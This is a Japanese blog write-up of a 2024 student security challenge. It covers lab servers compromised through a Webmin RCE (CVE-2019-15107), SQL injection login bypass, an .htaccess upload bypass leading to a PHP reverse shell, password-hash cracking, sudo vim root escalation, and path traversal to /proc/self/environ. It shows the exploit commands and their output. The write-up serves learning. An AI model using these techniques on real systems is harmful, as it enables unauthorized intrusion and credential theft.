2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

FFRI Security x NFLabs. Cybersecurity Challenge For Students 2024:Writeup

Posted at

概要

2024年09月17日(火) 10:00~2024年09月20日(金)15:00に開催されたセキュリティチャレンジのwriteupです。
書ける範囲で書きます。

Pentest

WebAdmin

問題

新人のサーバ管理者がWebサーバを構築していたところ、使っていたアプリケーションと設定に脆弱性があり、サーバを攻撃者に乗っ取られてしまったようです。 セキュリティエンジニアのあなたは、サーバのコピーを作って攻撃者がどのようにサーバを乗っ取ったか再現することにしました。
攻撃者の行動を再現してサーバのroot権限を取得し、/root/root.txt の中に書いてあるフラグを答えてください。

解法

ポートスキャンをします。

$ nmap -Pn -sV -T4 -A -sC -p- 10.0.102.169 -oN nmap_result
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ff:93:52:c8:4f:f3:1c:36:ef:58:a0:28:90:d0:c7:98 (RSA)
|   256 ef:68:b4:09:80:99:29:35:71:e8:c6:65:3d:37:32:42 (ECDSA)
|_  256 19:c2:b1:24:df:85:c4:7d:71:52:e0:d7:40:f9:94:3c (ED25519)
80/tcp    open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Welcome to nginx!
10000/tcp open  http    MiniServ 1.920 (Webmin httpd)
|_http-title: Login to Webmin
| http-robots.txt: 1 disallowed entry 
|_/

10000番ポートでMiniServ 1.920が動作していると分かりました。
脆弱性を検索するとexploit-dbでPoCが見つかりました。
実行することで脆弱性があるかを判断してくれます。

$ ./exploit.sh http://10.0.102.169:10000
Testing for RCE (CVE-2019-15107) on http://10.0.102.169:10000: VULNERABLE!

脆弱だと結果が出ました。
攻撃には下記PoCを利用しました。

ターゲットマシンのアドレスと実行するコマンドを引数に渡して実行します。

$ python2.7 CVE_2019_15107.py http://10.0.102.169:10000 id 

 _______           _______       _______  _______  __     _____       __    _______  __    _______  ______  
(  ____ \|\     /|(  ____ \     / ___   )(  __   )/  \   / ___ \     /  \  (  ____ \/  \  (  __   )/ ___  \ 
| (    \/| )   ( || (    \/     \/   )  || (  )  |\/) ) ( (   ) )    \/) ) | (    \/\/) ) | (  )  |\/   )  )
| |      | |   | || (__             /   )| | /   |  | | ( (___) |      | | | (____    | | | | /   |    /  / 
| |      ( (   ) )|  __)          _/   / | (/ /) |  | |  \____  |      | | (_____ \   | | | (/ /) |   /  /  
| |       \ \_/ / | (            /   _/  |   / | |  | |       ) |      | |       ) )  | | |   / | |  /  /   
| (____/\  \   /  | (____/\     (   (__/\|  (__) |__) (_/\____) )    __) (_/\____) )__) (_|  (__) | /  /    
(_______/   \_/   (_______/_____\_______/(_______)\____/\______/_____\____/\______/ \____/(_______) \_/     
                          (_____)                              (_____)                                      
                                     python By jas502n



vuln_url= http://10.0.102.169:10000/password_change.cgi

Command Result = uid=0(root) gid=0(root) groups=0(root)

RCEに成功したので目標の/root/root.txtを閲覧してフラグを入手できます。

$ python2.7 CVE_2019_15107.py http://10.0.102.169:10000 cat+/root/root.txt

 _______           _______       _______  _______  __     _____       __    _______  __    _______  ______  
(  ____ \|\     /|(  ____ \     / ___   )(  __   )/  \   / ___ \     /  \  (  ____ \/  \  (  __   )/ ___  \ 
| (    \/| )   ( || (    \/     \/   )  || (  )  |\/) ) ( (   ) )    \/) ) | (    \/\/) ) | (  )  |\/   )  )
| |      | |   | || (__             /   )| | /   |  | | ( (___) |      | | | (____    | | | | /   |    /  / 
| |      ( (   ) )|  __)          _/   / | (/ /) |  | |  \____  |      | | (_____ \   | | | (/ /) |   /  /  
| |       \ \_/ / | (            /   _/  |   / | |  | |       ) |      | |       ) )  | | |   / | |  /  /   
| (____/\  \   /  | (____/\     (   (__/\|  (__) |__) (_/\____) )    __) (_/\____) )__) (_|  (__) | /  /    
(_______/   \_/   (_______/_____\_______/(_______)\____/\______/_____\____/\______/ \____/(_______) \_/     
                          (_____)                              (_____)                                      
                                     python By jas502n



vuln_url= http://10.0.102.169:10000/password_change.cgi

Command Result = flag{Expl01t_CVE-2019-15107}

Gallery 1st

問題

太郎君は写真を撮るのが好きで、自分で作ったサイトで写真を公開しています。 でも、太郎君はセキュリティには少し疎いようです。 サーバの脆弱性を探し、太郎君のサーバをセキュアにするお手伝いをしましょう。
1st missionでは、/var/www/flag1.txt の中に書いてあるフラグを答えてください。

解法

ポートスキャンを実行します。

$ nmap -Pn -sV -T4 -A -sC -p- 10.0.102.67 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 12:ea:c2:a3:82:bb:f1:84:cb:de:c2:82:4e:63:0b:8c (ECDSA)
|_  256 6d:30:b6:1e:67:7b:2a:c8:37:4d:de:87:88:90:91:60 (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: My Gallery
|_http-server-header: Apache/2.4.58 (Ubuntu)

80にアクセスすると画像が表示されました。

medium index.jpg

インデックスページのソースコードから画像は/uploads/images/に保存されていると分かりました。

ディレクトリスキャンをします。

$ dirsearch -u http://10.0.102.67
[23:59:11] 301 -  307B  - /js  ->  http://10.0.102.67/js/
[23:59:16] 301 -  310B  - /admin  ->  http://10.0.102.67/admin/
[23:59:16] 302 -    0B  - /admin/  ->  login.php
[23:59:17] 302 -    0B  - /admin/index.php  ->  login.php
[23:59:17] 200 -  775B  - /admin/login.php
[23:59:17] 302 -    0B  - /admin/upload.php  ->  login.php
[23:59:26] 301 -  308B  - /css  ->  http://10.0.102.67/css/
[23:59:46] 301 -  312B  - /uploads  ->  http://10.0.102.67/uploads/

/adminパスを発見しました。
/admin/login.phpにリダイレクトされ、ログインページが表示されました。

admin.jpg

SQLインジェクションを試みます。
' or 1=1;--のペイロードを送信するとステータスコード500が返ってきたのでSQLインジェクションができそうです。

pentest_medium_sqli 500 error.jpg

下記ペイロードリストを使用して攻撃します。

レスポンスが302のペイロードを発見したのでログインに使用すると認証をバイパスできました。

sqli.jpg

admin login.jpg

ファイルアップロード機能があるので試しにテキストファイルをアップロードすると、先ほど発見した/uploads/images/にファイルがアップロードされています。

test text6.jpg

アップロード可能な拡張子を調べ、HackTricksに記載されているテクニックを試しましたが、RCEには繋がりませんでした。

拡張子制限回避の手法を調べていると.htaccess.l33tを利用した手法を発見しました。

まず、下記.htaccessファイルをアップロードします。

.htaccess
AddType application/x-httpd-php .l33t

次にPHPリバースシェルの拡張子を.l33tContent-TypeContent-Type: application/x-httpd-phpに変更してアップロードします。

post revshell.jpg

Netcatでリッスンします。

$ nc -lnvp 1234

/uploads/images/exploit1.l33tにアクセスするとリバースシェルを張れました。

$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [192.168.100.234] from (UNKNOWN) [10.0.102.17] 59748
Linux ip-10-0-102-17 6.8.0-1012-aws #13-Ubuntu SMP Mon Jul 15 13:40:27 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 12:27:42 up  1:15,  0 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

TTYを設定します。

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

/var/www/flag1.txtからフラグを入手できます。

/var/www/flag1.txt
flag{you_exploit_SQLi_and_Uploader}

Gallery (2nd mission)

問題

これは Gallery (1st mission) の続きです。
2nd missionでは、 /root/flag2.txt の中に書いてあるフラグを答えてください。

解法

/homeを確認するとyamadaアカウントを発見しました。

$ ls -la /home
total 16
drwxr-xr-x  4 root   root   4096 Aug 23 01:58 .
drwxr-xr-x 22 root   root   4096 Sep 20 11:12 ..
drwxr-x---  5 ubuntu ubuntu 4096 Sep  2 06:25 ubuntu
drwxr-x---  2 yamada yamada 4096 Aug 23 01:58 yamada

権限の昇格を試みます。

/var/www/html/admin/login.phpからMySQLの認証情報を得られました。

/var/www/html/admin/login.php
// Database connection
$conn = new mysqli('localhost', 'root', 'password', 'test_db');

MySQLにログインします。

www-data@ip-10-0-102-17:/var/www$ mysql -u root -p
mysql -u root -p
Enter password: password

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 428
Server version: 10.11.8-MariaDB-0ubuntu0.24.04.1 Ubuntu 24.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

test_dbusersテーブルからyamadaのパスワードハッシュ値を得られました。

MariaDB [test_db]> select * from users;
select * from users;
+----+----------+--------------------------------------------------------------+
| id | username | password                                                     |
+----+----------+--------------------------------------------------------------+
|  1 | admin    | $2y$10$8B9OkwJvPRTbZTcvN0.hueV/EfUeT3v/dp/90VNoqLF5KHZGZ35oe |
|  2 | yamada   | $2y$10$9p7Y8bXPQ71XpNDtutFYS.W/LeacIa29c0UcN2jmJeZCCEk21ibF. |
|  3 | sato     | $2y$10$ue3NZ9IZdC86M7IdTpmw.e0w.VEQeCioyLJtyzTxikE7sk74K8pg6 |
+----+----------+--------------------------------------------------------------+
3 rows in set (0.000 sec)

JohnTheRipperでハッシュ値を解析し、パスワードを得ました。

$ john yamada_hash --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt
qwertyuiop       (?)

yamadaアカウントにログインします。

$ su yamada
su yamada
Password: qwertyuiop

yamada@ip-10-0-102-17:/var/www$

sudo -lで実行できるプログラムを探すと/usr/bin/vimが設定されています。

$ sudo -l 
sudo -l
[sudo] password for yamada: qwertyuiop
Matching Defaults entries for yamada on ip-10-0-102-17:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User yamada may run the following commands on ip-10-0-102-17:
    (ALL) /usr/bin/vim

GTFOBinsで権限昇格のテクニックが見つかりました。

実行し、root権限に昇格します。

$ sudo vim -c ':!/bin/sh'
:!/bin/sh
# whoami
whoami
root

/root/flag2.txtからフラグを入手できます。

/root/flag2.txt
flag{vim_is_useful_for_escalating_privilege}

Web

Path to Secret

問題

脆弱性を特定し、サーバで用いられているSECRET_KEYの値を解答してください。
ヒント: サーバのファイル名はserver.pyです。

解法

問題サーバーにアクセスします。

easy path index.jpg

アカウントを登録し、ログインするとテキストファイルをダウンロードできます。

text download.jpg

?file=でファイル名を指定しているのでヒントにあるserver.pyを読み込めないか試みます。

/download?file=../server.pyにアクセスすることでパストラバーサルの脆弱性を悪用してソースコードを表示できました。

server py.jpg

ソースコードを見るとSECRET_KEYはOSの環境変数から取得しているようです。
OS環境変数の値は/proc/self/environからも取得できます。

/download?file=/proc/self/environにアクセスしするとフラグを入手できます。

easy path flag.jpg

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?